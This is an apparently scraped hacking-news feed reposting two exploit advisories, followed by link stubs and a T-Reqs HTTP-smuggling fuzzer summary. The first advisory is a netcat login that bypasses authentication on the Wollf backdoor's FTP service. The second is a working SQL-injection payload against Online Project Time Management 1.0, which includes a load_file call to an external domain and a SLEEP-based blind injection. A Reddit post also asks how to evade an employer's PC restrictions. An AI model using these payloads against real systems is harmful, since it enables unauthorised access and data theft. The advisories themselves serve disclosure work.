Exploit Collector
Backdoor.Win32.Wollf.16 Authentication Bypass

https://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png
Backdoor.Win32.Wollf.16 malware suffers from an authentication bypass vulnerability.

MD5 | a6064aef3963aa3ad1d965feafc34c41

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/204613443e555f73237ea43a2faecaa5.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.16
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 1015 and has an FTPD feature that when enabled listens on TCP port 21. Third-party attackers who can reach an infected system can logon using any username/password combination.
Type: PE32
MD5: 204613443e555f73237ea43a2faecaa5
Vuln ID: MVID-2022-0462
Dropped files: ddradmin.exe
Disclosure: 01/20/2022

Exploit/PoC:
nc64.exe x.x.x.x 21
220 Welcome to X-Ftp server ...
USER malvuln
331 User name okay, need password.
PASS malvuln
230 User logged in, proceed.

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Project Time Management 1.0 SQL Injection

https://1.bp.blogspot.com/-oHWy7Hh5Fq0/WWlvjd6DOFI/AAAAAAAAIQk/2SpYZjutgb8xmw4nQNmHjmGkgvDsryz_gCLcBGAs/s1600/h93.png
Online Project Time Management version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 29db9e4141f52450f2461938b5b01425

Download
## Title: Online Project Time Management 1.0 Multiple SQL - Injections
## Author: nu11secur1ty
## Date: 01.20.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15136/online-project-time-management-system-phpoop-free-source-code.html

## Description:
The pid parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\zvy9qc1hwmbswes0cz4uctw9a0gt4l59wck37uvj.sourcecodester.com\\axz'))+'
was submitted in the pid parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take account control of all accounts plus an
administrator account on this system.
Status: CRITICAL

[+] Payload:

```mysql
---
Parameter: pid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=reports/date_wise&pid=1'+(select
load_file('\\\\zvy9qc1hwmbswes0cz4uctw9a0gt4l59wck37uvj.sourcecodester.com\\axz'))+''
AND (SELECT 8887 FROM (SELECT(SLEEP(3)))JQmk) AND 'htCu'='htCu
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/2022/Online-Project-Time-Management)

## Proof and Exploit:
[href](https://streamable.com/ucyq64)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Introduction to Ethical Hacking

Difficulty Level: Easy

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Simple CTF- TryHackme

https://cdn-images-1.medium.com/max/2600/0*7rigdkW40sbA76ZQ
CTF

Continue reading on System Weakness »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Metamask hacked, how do they do it?

https://cdn-images-1.medium.com/max/1914/1*xX522bdWzElojth_MQZrcw.png
Want to know to know the 2 main methods you get hacked? Lemme show you… At the same time, I will take you through 2 other scam’s where the…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Απόπειρα hacking στην Βουλή

https://cdn-images-1.medium.com/max/1024/0*305Hv8oaY1Bkufil.jpg
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Day 17, Web Reconnaissance Or Information Gathering — Part 2#100DaysofHacking

https://cdn-images-1.medium.com/max/1000/0*Tw6igJzOoensC0lo
Get all the writeups from Day 1 to 16, Click Here Or Click Here.

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
PassMutate & Defeater: A tool that boosts the performance of wordlists, and a strong wordlist to match

https://external-preview.redd.it/F1XfrodmF6aHOHzlTAowE_jojDTQyyQbeMfxRDd9Erc.jpg?width=640&crop=smart&auto=webp&s=11703db4b3abeeca6d49bb1cd8f1b632520d998a submitted by /u/kaimosec
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is it possible to clone my work's PC?

Hello, currently I work homeoffice in a call center and my problem is the following: the computer that the company gave me to work not only is old and slow, as it is also a desktop PC that should be limited only to the space of my house. The company does not allow me to use another computer to work on claiming security issues and also does not allow me to take this desktop PC out of my house claiming that they can monitor by GPS the place where the PC is (which does not make the slightest sense once I'm working on homeoffice, it does not make a difference where I work and if I were to leak information from the customers I've talk to, I could do it anyway, regardless of whether or not I would be using the company's computer).In addition, this computer still uses Windows 10 pirate, which limits various operating system functions.

Now, I have a personal laptop that is much better than this company desktop and I would like to work using it and not using the company's desktop PC. After taking a look, I realized that the company's PC is not a special computer locked in an online server or something like that, in fact, it's just a normal desktop, with a local user (no administrator functions) created for me the day I brought the computer home and that, according to the company, all my activities within that user can be monitored. I'm not sure if that user is in fact connected to the cloud because I can use it even without access to the internet. Once I log in, I just need to log in to the company's VPN using the SonicWall Global VPN Client and then I can access all internal company sites and also log in to the software that I use to talk with the customers (Callflex - softphone).

Some gaps that I discovered in the company system involve the possibility to log in to OneDrive and share oline files through Sticky Notes and I can also use the desktop PC from any other computer using tools like TeamViewer or AnyDesk that are installed on it. However, remote access to the desktop PC is not yet ideal because the transmission of the sound of the computer to my laptop is horrible, so I still have to leave my headphone connected physically to the desktop PC to talk to the clients. What I would like to be able to do is to use the company's systems and the call software (CallFlex) from my laptop regardless of where I was, without having to be connected to the company's PC.

Is there any way to copy the programs from this PC to my laptop? Is it possible to clone the desktop HD and open it on a virtual machine emulating the physical PC? Anyone there has any experience with something like that and could you help me?

submitted by /u/levtahor
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
FalsiScan: Make it look like a PDF has been hand signed and scanned

https://external-preview.redd.it/z55b_0-_DYGZxjSO4sTVwBNIkMqkFCKvhcexHvELgV4.jpg?width=108&crop=smart&auto=webp&s=a3dfba29f9d19dc5dd95d58e68cd2ca48d0f6551 submitted by /u/binaryfor
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

https://preview.redd.it/4lidr7kpp3d81.jpg?width=320&crop=smart&auto=webp&s=6dccee3531b629398fdbdb73b4071416bc500493 submitted by /u/FREEVISION09
[link] [comments]

T-Reqs-HTTP-Fuzzer - A Grammar-Based HTTP Fuzzer
http://www.kitploit.com/2022/01/t-reqs-http-fuzzer-grammar-based-http.html

___________________________
@hacking_Attack
@Hacking_Video

T-Reqs (Two Requests) is a grammar-based HTTP Fuzzer (https://www.kitploit.com/search/label/Fuzzer) written as a part of the paper (https://bahruz.me/papers/ccs2021treqs.pdf) titled "T-Reqs: HTTP Request Smuggling with Differential Fuzzing" which was presented at ACM CCS 2021 (https://www.sigsac.org/ccs/CCS2021/accepted-papers.html).
BibTeX of the paper: @inproceedings{ccs2021treqs,
title={T-Reqs: HTTP Request Smuggling with Differential Fuzzing},
author={Jabiyev, Bahruz and Sprecher, Steven and Onarlioglu, Kaan and Kirda, Engin},
booktitle={Proceedings of the 2021 ACM SIGSAC Conference on Computer and Communications Security},
pages={1805--1820},
year={2021}
}
About T-Reqs is for fuzzing (https://www.kitploit.com/search/label/Fuzzing) HTTP servers by sending mutated HTTP requests with versions 1.1 and earlier. It has three main components: 1) generating inputs, 2) mutating generated inputs (https://www.kitploit.com/search/label/Inputs) and 3) delivering them to the target server(s). Generating Inputs A CFG grammar fed into the fuzzer is used to generate HTTP requests. As the example grammar shown below is tailored for request line fuzzing, every request line component and possible values for each of them are explicitly specified. This allows us to generate valid requests with various forms of request line and also to treat each request line component as a separate unit from the mutation perspective. ': [''], '': [''], '': [''], '': ['GET', 'HEAD', 'POST', 'PUT', 'DELETE', 'CONNECT', 'OPTIONS', 'TRACE', 'PATCH'], '': [' '], '': ['/_URI_'], '': ['HTTP'], '': ['/'], '': ['0.9', '1.0', '1.1'], '': ['\r\n'], '': ['Host: _HOST_\r\nConnection:close\r\nX-Request-ID: _REQUEST_ID_\r\n'], '': ['Content-Length: 5\r\n\r\nBBBBBBBBBB'],"> '':
[''],
'':
[''],
'':
[''],
'':
['GET', 'HEAD', 'POST', 'PUT', 'DELETE', 'CONNECT', 'OPTIONS', 'TRACE', 'PATCH'],
'':
[' '],
'':
['/_URI_'],
'':
['HTTP'],
'':
['/'],
'':
['0.9', '1.0', '1.1'],
'':
['\r\n'],
'':
['Host: _HOST_\r\nConnection:close\r\nX-Request-ID: _REQUEST_ID_\r\n'],
'':
['Content-Length: 5\r\n\r\nBBBBBBBBBB'],
Mutating Inputs Each component can be marked in two ways: string mutable and tree mutable (see (https://github.com/bahruzjabiyev/T-Reqs-HTTP-Fuzzer/blob/main/config) the example configuration). If a component is string mutable, then a random character can be deleted, replaced, or inserted at a random position. In the example shown below (left side), the last character in the protocol version (1) is deleted, the third letter in the method name (S) is replaced with R, and a forward slash is inserted at the beginning of the URI. Whereas, if a component is tree mutable, then a random component can be deleted, replaced, or inserted at a random position under that component. The example below (right side) shows three tree mutations applied on the request line component: 1) method is replaced by protocol, 2) an extra URI is inserted after the current URI, and 3) the existing proto< /em> is deleted.

___________________________
@hacking_Attack
@Hacking_Video